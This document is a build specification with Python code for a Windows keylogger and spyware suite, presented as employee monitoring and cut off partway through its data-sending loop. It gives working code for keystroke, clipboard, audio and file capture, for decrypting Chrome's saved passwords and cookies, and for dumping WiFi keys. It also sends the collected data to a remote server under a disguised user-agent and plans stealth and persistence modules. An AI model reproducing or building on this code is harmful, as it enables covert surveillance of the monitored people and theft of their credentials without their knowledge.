# ULTIMATE ACTIVITY MONITOR / KEYLOGGER - FULL IMPLEMENTATION PROMPT # For Employee Monitoring System # Target: Windows 10/11 ## PROJECT STRUCTURE ``` tracker/ ├── tracker.py # Main entry point ├── monitors/ │ ├── __init__.py │ ├── keyboard.py # Keystroke capture │ ├── clipboard.py # Clipboard monitoring │ ├── mouse.py # Mouse activity │ ├── window.py # Active window tracking │ ├── audio.py # Microphone/system audio │ ├── network.py # Network traffic │ ├── file_ops.py # File operations │ ├── browser.py # Browser data extraction │ ├── system.py # System events │ └── credentials.py # Credential extraction ├── core/ │ ├── __init__.py │ ├── buffer.py # Data buffering │ ├── sender.py # Server communication │ ├── encryption.py # AES encryption │ ├── stealth.py # Anti-detection │ └── persistence.py # Auto-start mechanisms ├── utils/ │ ├── __init__.py │ └── helpers.py └── config.json ``` --- ## MODULE 1: KEYSTROKE CAPTURE (monitors/keyboard.py) ### Features: - Capture ALL keystrokes (letters, numbers, symbols) - Special keys: Enter, Tab, Backspace, Delete, Escape, Space - Modifier combinations: Ctrl+C, Ctrl+V, Ctrl+A, Ctrl+Z, Ctrl+S, Ctrl+X - System combos: Alt+Tab, Alt+F4, Win+D, Win+L, Win+E, PrintScreen - Function keys: F1-F12 - Numpad keys with NumLock state - Dead keys and Unicode input (Vietnamese, emoji) - Key press duration (hold time in ms) - Key release events - Typing speed calculation (WPM, CPM) - Typing rhythm analysis (time between keys) ### Implementation: ```python from pynput import keyboard from pynput.keyboard import Key, Listener import threading import time import ctypes from ctypes import wintypes class KeystrokeMonitor: def __init__(self, buffer_manager): self.buffer = buffer_manager self.current_window = "" self.key_times = {} # Track key press times self.last_key_time = time.time() self.keystroke_count = 0 self.word_count = 0 def on_press(self, key): timestamp = time.time() window_info = self.get_active_window() # Calculate hold time key_str = self.key_to_string(key) self.key_times[key_str] = timestamp # Calculate typing speed time_diff = timestamp - self.last_key_time self.last_key_time = timestamp # Detect modifiers modifiers = { 'ctrl': keyboard.Controller().ctrl_pressed, 'alt': keyboard.Controller().alt_pressed, 'shift': keyboard.Controller().shift_pressed, 'win': False # Check with GetAsyncKeyState } keystroke_data = { 'timestamp': timestamp, 'key': key_str, 'key_type': self.get_key_type(key), 'modifiers': modifiers, 'window_title': window_info['title'], 'process_name': window_info['process'], 'process_path': window_info['path'], 'url': window_info.get('url', ''), 'time_since_last': time_diff, 'event': 'press' } self.buffer.add('keystroke', keystroke_data) def on_release(self, key): timestamp = time.time() key_str = self.key_to_string(key) # Calculate hold duration hold_time = 0 if key_str in self.key_times: hold_time = timestamp - self.key_times[key_str] del self.key_times[key_str] release_data = { 'timestamp': timestamp, 'key': key_str, 'hold_time_ms': int(hold_time * 1000), 'event': 'release' } self.buffer.add('keystroke_release', release_data) def key_to_string(self, key): try: return key.char except AttributeError: return str(key).replace('Key.', '') def get_key_type(self, key): if hasattr(key, 'char'): if key.char.isalpha(): return 'letter' elif key.char.isdigit(): return 'digit' else: return 'symbol' else: key_name = str(key) if 'f1' in key_name or 'f2' in key_name: # etc return 'function' elif 'ctrl' in key_name or 'alt' in key_name or 'shift' in key_name: return 'modifier' else: return 'special' def get_active_window(self): # Implementation below in window.py pass def start(self): listener = Listener(on_press=self.on_press, on_release=self.on_release) listener.start() return listener ``` --- ## MODULE 2: CLIPBOARD MONITORING (monitors/clipboard.py) ### Features: - Text copy/paste detection - Image clipboard capture - File path clipboard - Rich text / HTML content - Clipboard history (last 100 items) - Source application tracking - Clipboard change rate ### Implementation: ```python import win32clipboard import win32con import win32gui import time import threading import io from PIL import Image import base64 import hashlib class ClipboardMonitor: def __init__(self, buffer_manager): self.buffer = buffer_manager self.last_content_hash = "" self.history = [] self.max_history = 100 def get_clipboard_content(self): content = { 'timestamp': time.time(), 'type': None, 'content': None, 'source_app': self.get_active_window_process(), 'size_bytes': 0 } try: win32clipboard.OpenClipboard() # Try text first if win32clipboard.IsClipboardFormatAvailable(win32con.CF_UNICODETEXT): text = win32clipboard.GetClipboardData(win32con.CF_UNICODETEXT) content['type'] = 'text' content['content'] = text content['size_bytes'] = len(text.encode('utf-8')) # Try image elif win32clipboard.IsClipboardFormatAvailable(win32con.CF_DIB): data = win32clipboard.GetClipboardData(win32con.CF_DIB) # Convert to base64 PNG content['type'] = 'image' content['content'] = self.dib_to_base64(data) content['size_bytes'] = len(data) # Try file paths elif win32clipboard.IsClipboardFormatAvailable(win32con.CF_HDROP): files = win32clipboard.GetClipboardData(win32con.CF_HDROP) content['type'] = 'files' content['content'] = list(files) content['size_bytes'] = sum(len(f) for f in files) # Try HTML html_format = win32clipboard.RegisterClipboardFormat("HTML Format") if win32clipboard.IsClipboardFormatAvailable(html_format): html = win32clipboard.GetClipboardData(html_format) content['type'] = 'html' content['content'] = html.decode('utf-8', errors='ignore') win32clipboard.CloseClipboard() except Exception as e: try: win32clipboard.CloseClipboard() except: pass return None return content def dib_to_base64(self, dib_data): # Convert DIB to PNG base64 try: img = Image.frombytes('RGB', (100, 100), dib_data) # Simplified buffer = io.BytesIO() img.save(buffer, format='PNG') return base64.b64encode(buffer.getvalue()).decode() except: return None def monitor_loop(self): while True: content = self.get_clipboard_content() if content and content['content']: # Check if content changed content_hash = hashlib.md5(str(content['content']).encode()).hexdigest() if content_hash != self.last_content_hash: self.last_content_hash = content_hash self.buffer.add('clipboard', content) # Add to history self.history.append(content) if len(self.history) > self.max_history: self.history.pop(0) time.sleep(0.5) # Check every 500ms def start(self): thread = threading.Thread(target=self.monitor_loop, daemon=True) thread.start() return thread ``` --- ## MODULE 3: MOUSE ACTIVITY (monitors/mouse.py) ### Features: - Click events (left, right, middle, double) - Click position (x, y coordinates) - Scroll events (direction, amount) - Drag operations (start, end positions) - Mouse movement heatmap data - Click patterns analysis - Idle time detection ### Implementation: ```python from pynput import mouse from pynput.mouse import Listener, Button import time import threading class MouseMonitor: def __init__(self, buffer_manager): self.buffer = buffer_manager self.last_position = (0, 0) self.drag_start = None self.click_count = 0 self.last_click_time = 0 self.idle_start = time.time() self.movement_samples = [] def on_click(self, x, y, button, pressed): timestamp = time.time() window_info = self.get_active_window() # Detect double click is_double = False if pressed: if timestamp - self.last_click_time < 0.3: is_double = True self.last_click_time = timestamp click_data = { 'timestamp': timestamp, 'x': x, 'y': y, 'button': str(button).replace('Button.', ''), 'pressed': pressed, 'double_click': is_double, 'window_title': window_info['title'], 'process_name': window_info['process'] } self.buffer.add('mouse_click', click_data) self.idle_start = timestamp def on_scroll(self, x, y, dx, dy): timestamp = time.time() scroll_data = { 'timestamp': timestamp, 'x': x, 'y': y, 'direction': 'up' if dy > 0 else 'down', 'horizontal': dx, 'vertical': dy } self.buffer.add('mouse_scroll', scroll_data) self.idle_start = timestamp def on_move(self, x, y): timestamp = time.time() # Sample movement for heatmap (every 100ms) if timestamp - self.last_move_sample > 0.1: self.movement_samples.append({ 'timestamp': timestamp, 'x': x, 'y': y }) self.last_move_sample = timestamp # Keep last 1000 samples if len(self.movement_samples) > 1000: self.movement_samples.pop(0) self.idle_start = timestamp self.last_position = (x, y) def get_idle_time(self): return time.time() - self.idle_start def start(self): listener = Listener( on_click=self.on_click, on_scroll=self.on_scroll, on_move=self.on_move ) listener.start() return listener ``` --- ## MODULE 4: ACTIVE WINDOW TRACKING (monitors/window.py) ### Features: - Active window title (real-time) - Process name and PID - Process executable path - Window class name - Focus duration per application - Window switch count - Browser URL extraction from title - Application categorization ### Implementation: ```python import win32gui import win32process import psutil import time import threading import re class WindowMonitor: def __init__(self, buffer_manager): self.buffer = buffer_manager self.current_window = None self.window_start_time = time.time() self.focus_durations = {} # {process: total_seconds} self.switch_count = 0 def get_active_window_info(self): try: hwnd = win32gui.GetForegroundWindow() if hwnd == 0: return None # Get window title title = win32gui.GetWindowText(hwnd) # Get process info _, pid = win32process.GetWindowThreadProcessId(hwnd) process = psutil.Process(pid) # Get window class class_name = win32gui.GetClassName(hwnd) # Extract URL from browser title url = self.extract_url_from_title(title, process.name()) return { 'hwnd': hwnd, 'title': title, 'process': process.name(), 'pid': pid, 'path': process.exe(), 'class_name': class_name, 'url': url, 'category': self.categorize_app(process.name()) } except Exception as e: return None def extract_url_from_title(self, title, process_name): browsers = ['chrome.exe', 'firefox.exe', 'msedge.exe', 'opera.exe', 'brave.exe'] if process_name.lower() in browsers: # Common patterns: "Page Title - Browser Name" or "Page Title — Domain" # Try to extract domain patterns = [ r'[-–—]\s*([a-zA-Z0-9][-a-zA-Z0-9]*\.[a-zA-Z]{2,})', # Domain pattern r'(https?://[^\s]+)', # Full URL if present ] for pattern in patterns: match = re.search(pattern, title) if match: return match.group(1) return None def categorize_app(self, process_name): categories = { 'browsers': ['chrome.exe', 'firefox.exe', 'msedge.exe', 'opera.exe', 'brave.exe'], 'communication': ['zalo.exe', 'messenger.exe', 'telegram.exe', 'slack.exe', 'teams.exe', 'discord.exe'], 'office': ['winword.exe', 'excel.exe', 'powerpnt.exe', 'outlook.exe', 'onenote.exe'], 'development': ['code.exe', 'devenv.exe', 'idea64.exe', 'pycharm64.exe', 'sublime_text.exe'], 'media': ['spotify.exe', 'vlc.exe', 'netflix.exe', 'youtube.exe'], 'games': ['steam.exe', 'epicgameslauncher.exe'], 'system': ['explorer.exe', 'taskmgr.exe', 'cmd.exe', 'powershell.exe'] } process_lower = process_name.lower() for category, apps in categories.items(): if process_lower in apps: return category return 'other' def monitor_loop(self): while True: window_info = self.get_active_window_info() if window_info: window_key = f"{window_info['process']}:{window_info['title']}" if window_key != self.current_window: # Window changed timestamp = time.time() # Record previous window duration if self.current_window: duration = timestamp - self.window_start_time process = self.current_window.split(':')[0] self.focus_durations[process] = self.focus_durations.get(process, 0) + duration self.switch_count += 1 self.current_window = window_key self.window_start_time = timestamp # Buffer the switch event window_info['timestamp'] = timestamp window_info['event'] = 'window_switch' self.buffer.add('window', window_info) time.sleep(0.2) # Check every 200ms def get_focus_stats(self): return { 'focus_durations': self.focus_durations.copy(), 'switch_count': self.switch_count } def start(self): thread = threading.Thread(target=self.monitor_loop, daemon=True) thread.start() return thread ``` --- ## MODULE 5: AUDIO CAPTURE (monitors/audio.py) ### Features: - Microphone recording (continuous or voice-activated) - System audio capture (what's playing) - Voice Activity Detection (VAD) - Noise reduction - Audio compression (MP3/AAC) - Scheduled recording - Audio level monitoring ### Implementation: ```python import pyaudio import wave import threading import time import numpy as np from pydub import AudioSegment import io import webrtcvad import os class AudioMonitor: def __init__(self, buffer_manager): self.buffer = buffer_manager self.is_recording = False self.vad = webrtcvad.Vad(3) # Aggressiveness 0-3 self.sample_rate = 16000 self.frame_duration = 30 # ms self.chunk_size = int(self.sample_rate * self.frame_duration / 1000) def record_microphone(self, duration_seconds=60, voice_activated=True): """Record microphone audio""" p = pyaudio.PyAudio() stream = p.open( format=pyaudio.paInt16, channels=1, rate=self.sample_rate, input=True, frames_per_buffer=self.chunk_size ) frames = [] silence_frames = 0 max_silence_frames = int(3000 / self.frame_duration) # 3 seconds silence start_time = time.time() while time.time() - start_time < duration_seconds: data = stream.read(self.chunk_size, exception_on_overflow=False) if voice_activated: # Check if voice is present is_speech = self.vad.is_speech(data, self.sample_rate) if is_speech: frames.append(data) silence_frames = 0 else: silence_frames += 1 if frames and silence_frames < max_silence_frames: frames.append(data) # Keep some silence between words else: frames.append(data) stream.stop_stream() stream.close() p.terminate() if frames: return self.frames_to_mp3(frames) return None def record_system_audio(self, duration_seconds=60): """Record system audio (what's playing)""" # Requires WASAPI loopback import soundcard as sc # Get default speaker/loopback speaker = sc.default_speaker() loopback = sc.get_microphone(speaker.name, include_loopback=True) with loopback.recorder(samplerate=self.sample_rate) as mic: data = mic.record(numframes=self.sample_rate * duration_seconds) return self.numpy_to_mp3(data) def frames_to_mp3(self, frames): """Convert raw audio frames to MP3 bytes""" # Create WAV in memory wav_buffer = io.BytesIO() wf = wave.open(wav_buffer, 'wb') wf.setnchannels(1) wf.setsampwidth(2) # 16-bit wf.setframerate(self.sample_rate) wf.writeframes(b''.join(frames)) wf.close() # Convert to MP3 wav_buffer.seek(0) audio = AudioSegment.from_wav(wav_buffer) mp3_buffer = io.BytesIO() audio.export(mp3_buffer, format='mp3', bitrate='64k') return mp3_buffer.getvalue() def numpy_to_mp3(self, data): """Convert numpy array to MP3""" # Normalize and convert to 16-bit data = np.int16(data * 32767) audio = AudioSegment( data.tobytes(), frame_rate=self.sample_rate, sample_width=2, channels=1 ) buffer = io.BytesIO() audio.export(buffer, format='mp3', bitrate='64k') return buffer.getvalue() def get_audio_level(self): """Get current microphone level (0-100)""" p = pyaudio.PyAudio() stream = p.open( format=pyaudio.paInt16, channels=1, rate=self.sample_rate, input=True, frames_per_buffer=self.chunk_size ) data = stream.read(self.chunk_size) stream.stop_stream() stream.close() p.terminate() # Calculate RMS audio_data = np.frombuffer(data, dtype=np.int16) rms = np.sqrt(np.mean(audio_data ** 2)) # Convert to 0-100 scale level = min(100, int(rms / 327.67)) # 32767 max / 100 return level def continuous_recording_loop(self, chunk_duration=60): """Record continuously in chunks""" while self.is_recording: timestamp = time.time() audio_data = self.record_microphone(duration_seconds=chunk_duration) if audio_data: self.buffer.add('audio', { 'timestamp': timestamp, 'duration': chunk_duration, 'type': 'microphone', 'format': 'mp3', 'data': audio_data # Base64 encode before sending }) def start(self, mode='voice_activated'): self.is_recording = True thread = threading.Thread( target=self.continuous_recording_loop, daemon=True ) thread.start() return thread def stop(self): self.is_recording = False ``` --- ## MODULE 6: NETWORK MONITORING (monitors/network.py) ### Features: - DNS query logging - HTTP/HTTPS URL tracking - Bandwidth usage per process - Connection events (new connections) - Network interface monitoring - Packet capture (optional) ### Implementation: ```python import psutil import socket import time import threading from collections import defaultdict import struct class NetworkMonitor: def __init__(self, buffer_manager): self.buffer = buffer_manager self.connections = {} # Track active connections self.bandwidth = defaultdict(lambda: {'sent': 0, 'recv': 0}) self.dns_cache = {} def get_connections(self): """Get all network connections with process info""" connections = [] for conn in psutil.net_connections(kind='inet'): try: if conn.status == 'ESTABLISHED' and conn.raddr: process = psutil.Process(conn.pid) if conn.pid else None conn_info = { 'timestamp': time.time(), 'local_addr': f"{conn.laddr.ip}:{conn.laddr.port}", 'remote_addr': f"{conn.raddr.ip}:{conn.raddr.port}", 'remote_host': self.resolve_host(conn.raddr.ip), 'status': conn.status, 'pid': conn.pid, 'process': process.name() if process else 'unknown', 'process_path': process.exe() if process else '' } connections.append(conn_info) except (psutil.NoSuchProcess, psutil.AccessDenied): pass return connections def resolve_host(self, ip): """Reverse DNS lookup with caching""" if ip in self.dns_cache: return self.dns_cache[ip] try: hostname = socket.gethostbyaddr(ip)[0] self.dns_cache[ip] = hostname return hostname except: self.dns_cache[ip] = ip return ip def get_bandwidth_per_process(self): """Get bandwidth usage per process""" bandwidth = {} for proc in psutil.process_iter(['pid', 'name']): try: io_counters = proc.io_counters() bandwidth[proc.info['name']] = { 'pid': proc.info['pid'], 'bytes_sent': io_counters.write_bytes, 'bytes_recv': io_counters.read_bytes } except (psutil.NoSuchProcess, psutil.AccessDenied): pass return bandwidth def monitor_loop(self): last_connections = set() while True: # Check for new connections current_connections = self.get_connections() current_set = set(c['remote_addr'] for c in current_connections) # New connections new_conns = current_set - last_connections for conn in current_connections: if conn['remote_addr'] in new_conns: self.buffer.add('network_connection', conn) last_connections = current_set # Bandwidth snapshot every 5 seconds time.sleep(5) bandwidth = self.get_bandwidth_per_process() self.buffer.add('bandwidth', { 'timestamp': time.time(), 'data': bandwidth }) def start(self): thread = threading.Thread(target=self.monitor_loop, daemon=True) thread.start() return thread class DNSMonitor: """Monitor DNS queries using packet capture""" def __init__(self, buffer_manager): self.buffer = buffer_manager def parse_dns_packet(self, packet): """Parse DNS query from raw packet""" # DNS header is 12 bytes, then questions try: # Skip IP and UDP headers, get to DNS dns_data = packet[42:] # Ethernet(14) + IP(20) + UDP(8) # Parse DNS header transaction_id = struct.unpack('!H', dns_data[0:2])[0] flags = struct.unpack('!H', dns_data[2:4])[0] # QR bit: 0 = query, 1 = response is_query = (flags >> 15) == 0 if is_query: # Parse question section question_start = 12 domain_parts = [] while True: length = dns_data[question_start] if length == 0: break domain_parts.append( dns_data[question_start+1:question_start+1+length].decode() ) question_start += length + 1 domain = '.'.join(domain_parts) return domain except Exception: pass return None def start_capture(self): """Start DNS packet capture - requires admin/root""" try: import socket # Raw socket for packet capture sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_UDP) sock.bind(('0.0.0.0', 0)) sock.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) while True: packet = sock.recvfrom(65535)[0] # Check if DNS (port 53) udp_dst_port = struct.unpack('!H', packet[22:24])[0] if udp_dst_port == 53: domain = self.parse_dns_packet(packet) if domain: self.buffer.add('dns_query', { 'timestamp': time.time(), 'domain': domain }) except PermissionError: print("DNS capture requires admin privileges") ``` --- ## MODULE 7: FILE OPERATIONS (monitors/file_ops.py) ### Features: - File access monitoring (read/write/delete) - USB file copy detection - Cloud sync folder monitoring - File type categorization - Sensitive file detection - Large file transfer alerts ### Implementation: ```python import os import time import threading from watchdog.observers import Observer from watchdog.events import FileSystemEventHandler import win32file import win32con import string class FileOperationMonitor: def __init__(self, buffer_manager): self.buffer = buffer_manager self.watched_paths = [] self.usb_drives = set() def get_removable_drives(self): """Get list of removable drives (USB)""" drives = [] for letter in string.ascii_uppercase: drive = f"{letter}:\\" try: drive_type = win32file.GetDriveType(drive) if drive_type == win32con.DRIVE_REMOVABLE: drives.append(drive) except: pass return set(drives) def monitor_usb(self): """Monitor USB drive insertions and file copies""" while True: current_drives = self.get_removable_drives() # New drives new_drives = current_drives - self.usb_drives for drive in new_drives: self.buffer.add('usb_event', { 'timestamp': time.time(), 'event': 'connected', 'drive': drive }) # Start watching this drive self.watch_directory(drive) # Removed drives removed_drives = self.usb_drives - current_drives for drive in removed_drives: self.buffer.add('usb_event', { 'timestamp': time.time(), 'event': 'disconnected', 'drive': drive }) self.usb_drives = current_drives time.sleep(2) class FileEventHandler(FileSystemEventHandler): def __init__(self, buffer_manager, base_path): self.buffer = buffer_manager self.base_path = base_path self.sensitive_patterns = [ '.doc', '.docx', '.xls', '.xlsx', '.pdf', '.ppt', '.pptx', '.zip', '.rar', '.7z', '.sql', '.db', '.key', '.pem', '.env', '.config', '.json', '.xml' ] def on_created(self, event): if not event.is_directory: self.log_event('created', event.src_path) def on_modified(self, event): if not event.is_directory: self.log_event('modified', event.src_path) def on_deleted(self, event): if not event.is_directory: self.log_event('deleted', event.src_path) def on_moved(self, event): if not event.is_directory: self.log_event('moved', event.src_path, event.dest_path) def log_event(self, event_type, src_path, dest_path=None): try: file_info = { 'timestamp': time.time(), 'event': event_type, 'path': src_path, 'dest_path': dest_path, 'filename': os.path.basename(src_path), 'extension': os.path.splitext(src_path)[1].lower(), 'is_sensitive': self.is_sensitive(src_path), 'base_path': self.base_path } # Get file size if exists if os.path.exists(src_path): file_info['size_bytes'] = os.path.getsize(src_path) self.buffer.add('file_operation', file_info) except Exception as e: pass def is_sensitive(self, path): ext = os.path.splitext(path)[1].lower() return ext in self.sensitive_patterns class FileMonitor: def __init__(self, buffer_manager): self.buffer = buffer_manager self.observers = [] self.file_op_monitor = FileOperationMonitor(buffer_manager) def watch_directory(self, path): """Start watching a directory for file changes""" handler = FileEventHandler(self.buffer, path) observer = Observer() observer.schedule(handler, path, recursive=True) observer.start() self.observers.append(observer) def watch_common_paths(self): """Watch common sensitive directories""" user_profile = os.environ.get('USERPROFILE', '') paths = [ os.path.join(user_profile, 'Desktop'), os.path.join(user_profile, 'Documents'), os.path.join(user_profile, 'Downloads'), os.path.join(user_profile, 'Dropbox'), os.path.join(user_profile, 'OneDrive'), os.path.join(user_profile, 'Google Drive'), ] for path in paths: if os.path.exists(path): self.watch_directory(path) def start(self): # Watch common paths self.watch_common_paths() # Start USB monitor thread = threading.Thread( target=self.file_op_monitor.monitor_usb, daemon=True ) thread.start() return self.observers ``` --- ## MODULE 8: BROWSER DATA EXTRACTION (monitors/browser.py) ### Features: - Chrome/Edge/Firefox saved passwords - Browser history - Cookies extraction - Autofill data - Bookmarks - Download history - Extensions list ### Implementation: ```python import os import json import sqlite3 import shutil import base64 from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes from cryptography.hazmat.backends import default_backend import win32crypt class BrowserDataExtractor: def __init__(self, buffer_manager): self.buffer = buffer_manager def get_chrome_key(self): """Get Chrome encryption key from Local State""" local_state_path = os.path.join( os.environ['USERPROFILE'], 'AppData', 'Local', 'Google', 'Chrome', 'User Data', 'Local State' ) with open(local_state_path, 'r', encoding='utf-8') as f: local_state = json.load(f) encrypted_key = base64.b64decode(local_state['os_crypt']['encrypted_key']) # Remove 'DPAPI' prefix encrypted_key = encrypted_key[5:] # Decrypt using Windows DPAPI key = win32crypt.CryptUnprotectData(encrypted_key, None, None, None, 0)[1] return key def decrypt_chrome_password(self, encrypted_password, key): """Decrypt Chrome password using AES-GCM""" try: # Remove 'v10' or 'v11' prefix iv = encrypted_password[3:15] payload = encrypted_password[15:] # Separate ciphertext and tag ciphertext = payload[:-16] tag = payload[-16:] # Decrypt cipher = Cipher( algorithms.AES(key), modes.GCM(iv, tag), backend=default_backend() ) decryptor = cipher.decryptor() decrypted = decryptor.update(ciphertext) + decryptor.finalize() return decrypted.decode('utf-8') except Exception as e: # Try old DPAPI method try: return win32crypt.CryptUnprotectData( encrypted_password, None, None, None, 0 )[1].decode('utf-8') except: return None def extract_chrome_passwords(self): """Extract saved passwords from Chrome""" passwords = [] db_path = os.path.join( os.environ['USERPROFILE'], 'AppData', 'Local', 'Google', 'Chrome', 'User Data', 'Default', 'Login Data' ) if not os.path.exists(db_path): return passwords # Copy database (Chrome locks it) temp_db = os.path.join(os.environ['TEMP'], 'login_data_temp.db') shutil.copy2(db_path, temp_db) try: key = self.get_chrome_key() conn = sqlite3.connect(temp_db) cursor = conn.cursor() cursor.execute(''' SELECT origin_url, username_value, password_value FROM logins ''') for row in cursor.fetchall(): url, username, encrypted_password = row password = self.decrypt_chrome_password(encrypted_password, key) if password: passwords.append({ 'browser': 'Chrome', 'url': url, 'username': username, 'password': password }) conn.close() finally: os.remove(temp_db) return passwords def extract_chrome_history(self, days=30): """Extract Chrome browsing history""" history = [] db_path = os.path.join( os.environ['USERPROFILE'], 'AppData', 'Local', 'Google', 'Chrome', 'User Data', 'Default', 'History' ) if not os.path.exists(db_path): return history temp_db = os.path.join(os.environ['TEMP'], 'history_temp.db') shutil.copy2(db_path, temp_db) try: conn = sqlite3.connect(temp_db) cursor = conn.cursor() # Chrome timestamp: microseconds since 1601-01-01 # Convert to Unix timestamp cursor.execute(f''' SELECT url, title, visit_count, last_visit_time FROM urls ORDER BY last_visit_time DESC LIMIT 1000 ''') for row in cursor.fetchall(): url, title, visit_count, chrome_time = row # Convert Chrome time to Unix timestamp unix_time = (chrome_time / 1000000) - 11644473600 history.append({ 'url': url, 'title': title, 'visit_count': visit_count, 'last_visit': unix_time }) conn.close() finally: os.remove(temp_db) return history def extract_chrome_cookies(self): """Extract Chrome cookies""" cookies = [] db_path = os.path.join( os.environ['USERPROFILE'], 'AppData', 'Local', 'Google', 'Chrome', 'User Data', 'Default', 'Network', 'Cookies' ) if not os.path.exists(db_path): return cookies temp_db = os.path.join(os.environ['TEMP'], 'cookies_temp.db') shutil.copy2(db_path, temp_db) try: key = self.get_chrome_key() conn = sqlite3.connect(temp_db) cursor = conn.cursor() cursor.execute(''' SELECT host_key, name, encrypted_value, path, expires_utc FROM cookies ''') for row in cursor.fetchall(): host, name, encrypted_value, path, expires = row value = self.decrypt_chrome_password(encrypted_value, key) if value: cookies.append({ 'host': host, 'name': name, 'value': value, 'path': path, 'expires': expires }) conn.close() finally: os.remove(temp_db) return cookies def extract_wifi_passwords(self): """Extract saved WiFi passwords""" import subprocess wifi_passwords = [] # Get WiFi profiles result = subprocess.run( ['netsh', 'wlan', 'show', 'profiles'], capture_output=True, text=True ) profiles = [] for line in result.stdout.split('\n'): if 'All User Profile' in line: profile = line.split(':')[1].strip() profiles.append(profile) # Get password for each profile for profile in profiles: result = subprocess.run( ['netsh', 'wlan', 'show', 'profile', profile, 'key=clear'], capture_output=True, text=True ) password = None for line in result.stdout.split('\n'): if 'Key Content' in line: password = line.split(':')[1].strip() break wifi_passwords.append({ 'ssid': profile, 'password': password }) return wifi_passwords def extract_all(self): """Extract all browser data""" data = { 'timestamp': time.time(), 'passwords': self.extract_chrome_passwords(), 'history': self.extract_chrome_history(), 'cookies': self.extract_chrome_cookies(), 'wifi': self.extract_wifi_passwords() } self.buffer.add('browser_data', data) return data ``` --- ## MODULE 9: SYSTEM EVENTS (monitors/system.py) ### Features: - User login/logout detection - Screen lock/unlock - System startup/shutdown - Idle time tracking - Power events (sleep/wake) - Session changes ### Implementation: ```python import win32api import win32con import win32ts import win32gui import ctypes import time import threading class SystemMonitor: def __init__(self, buffer_manager): self.buffer = buffer_manager self.last_idle_time = 0 def get_idle_time(self): """Get system idle time in seconds""" class LASTINPUTINFO(ctypes.Structure): _fields_ = [ ('cbSize', ctypes.c_uint), ('dwTime', ctypes.c_uint) ] lii = LASTINPUTINFO() lii.cbSize = ctypes.sizeof(LASTINPUTINFO) if ctypes.windll.user32.GetLastInputInfo(ctypes.byref(lii)): millis = ctypes.windll.kernel32.GetTickCount() - lii.dwTime return millis / 1000.0 return 0 def is_screen_locked(self): """Check if screen is locked""" # Check for lock screen window hwnd = win32gui.FindWindow('Windows.UI.Core.CoreWindow', None) return hwnd != 0 def get_session_info(self): """Get current session information""" session_id = win32ts.WTSGetActiveConsoleSessionId() try: username = win32ts.WTSQuerySessionInformation( win32ts.WTS_CURRENT_SERVER_HANDLE, session_id, win32ts.WTSUserName ) domain = win32ts.WTSQuerySessionInformation( win32ts.WTS_CURRENT_SERVER_HANDLE, session_id, win32ts.WTSDomainName ) return { 'session_id': session_id, 'username': username, 'domain': domain } except: return None def monitor_loop(self): """Monitor system events""" was_locked = False last_session_info = None while True: timestamp = time.time() # Check idle time idle_time = self.get_idle_time() if idle_time > 300: # 5 minutes idle if self.last_idle_time <= 300: self.buffer.add('system_event', { 'timestamp': timestamp, 'event': 'idle_start', 'idle_seconds': idle_time }) elif self.last_idle_time > 300: self.buffer.add('system_event', { 'timestamp': timestamp, 'event': 'activity_resume', 'idle_duration': self.last_idle_time }) self.last_idle_time = idle_time # Check screen lock is_locked = self.is_screen_locked() if is_locked and not was_locked: self.buffer.add('system_event', { 'timestamp': timestamp, 'event': 'screen_locked' }) elif not is_locked and was_locked: self.buffer.add('system_event', { 'timestamp': timestamp, 'event': 'screen_unlocked' }) was_locked = is_locked # Check session changes session_info = self.get_session_info() if session_info != last_session_info: self.buffer.add('system_event', { 'timestamp': timestamp, 'event': 'session_change', 'session': session_info }) last_session_info = session_info time.sleep(1) def start(self): # Log startup self.buffer.add('system_event', { 'timestamp': time.time(), 'event': 'tracker_started', 'session': self.get_session_info() }) thread = threading.Thread(target=self.monitor_loop, daemon=True) thread.start() return thread ``` --- ## MODULE 10: DATA BUFFERING & SENDING (core/buffer.py, core/sender.py) ### Implementation: ```python import threading import queue import time import json import gzip import base64 import sqlite3 import os import requests from cryptography.fernet import Fernet class BufferManager: def __init__(self, config): self.config = config self.buffers = { 'keystroke': [], 'clipboard': [], 'mouse': [], 'window': [], 'audio': [], 'network': [], 'file': [], 'browser': [], 'system': [] } self.locks = {k: threading.Lock() for k in self.buffers} self.offline_db = self.init_offline_db() def init_offline_db(self): """Initialize SQLite for offline storage""" db_path = os.path.join(os.environ['TEMP'], '.cache.db') conn = sqlite3.connect(db_path, check_same_thread=False) conn.execute(''' CREATE TABLE IF NOT EXISTS offline_queue ( id INTEGER PRIMARY KEY AUTOINCREMENT, data_type TEXT, data BLOB, timestamp REAL, attempts INTEGER DEFAULT 0 ) ''') conn.commit() return conn def add(self, data_type, data): """Add data to buffer""" with self.locks.get(data_type, threading.Lock()): if data_type not in self.buffers: self.buffers[data_type] = [] self.buffers[data_type].append(data) def get_and_clear(self, data_type): """Get all data from buffer and clear it""" with self.locks.get(data_type, threading.Lock()): data = self.buffers.get(data_type, []).copy() self.buffers[data_type] = [] return data def save_offline(self, data_type, data): """Save to offline queue""" try: compressed = gzip.compress(json.dumps(data).encode()) self.offline_db.execute( 'INSERT INTO offline_queue (data_type, data, timestamp) VALUES (?, ?, ?)', (data_type, compressed, time.time()) ) self.offline_db.commit() except Exception as e: print(f"Offline save error: {e}") def get_offline_queue(self): """Get pending offline data""" cursor = self.offline_db.execute( 'SELECT id, data_type, data FROM offline_queue WHERE attempts < 3 ORDER BY timestamp' ) return cursor.fetchall() def remove_from_offline(self, row_id): """Remove successfully sent offline data""" self.offline_db.execute('DELETE FROM offline_queue WHERE id = ?', (row_id,)) self.offline_db.commit() class DataSender: def __init__(self, config, buffer_manager): self.config = config self.buffer = buffer_manager self.server_url = config['server_url'] self.user_id = config['user_id'] self.encryption_key = Fernet.generate_key() # Or load from config self.fernet = Fernet(self.encryption_key) self.session = requests.Session() self.session.headers.update({ 'User-Agent': 'Mozilla/5.0', 'Content-Type': 'application/json' }) def compress_and_encrypt(self, data): """Compress and encrypt data""" json_data = json.dumps(data) compressed = gzip.compress(json_data.encode()) encrypted = self.fernet.encrypt(compressed) return base64.b64encode(encrypted).decode() def send_data(self, endpoint, data): """Send data to server""" try: payload = { 'user_id': self.user_id, 'timestamp': time.time(), 'data': self.compress_and_encrypt(data) } response = self.session.post( f"{self.server_url}{endpoint}", json=payload, timeout=10 ) return response.status_code == 200 except requests.exceptions.RequestException: return False def send_loop(self): """Main sending loop""" endpoints = { 'keystroke': '/api/keystrokes', 'clipboard': '/api/clipboard', 'mouse': '/api/mouse', 'window': '/api/window', 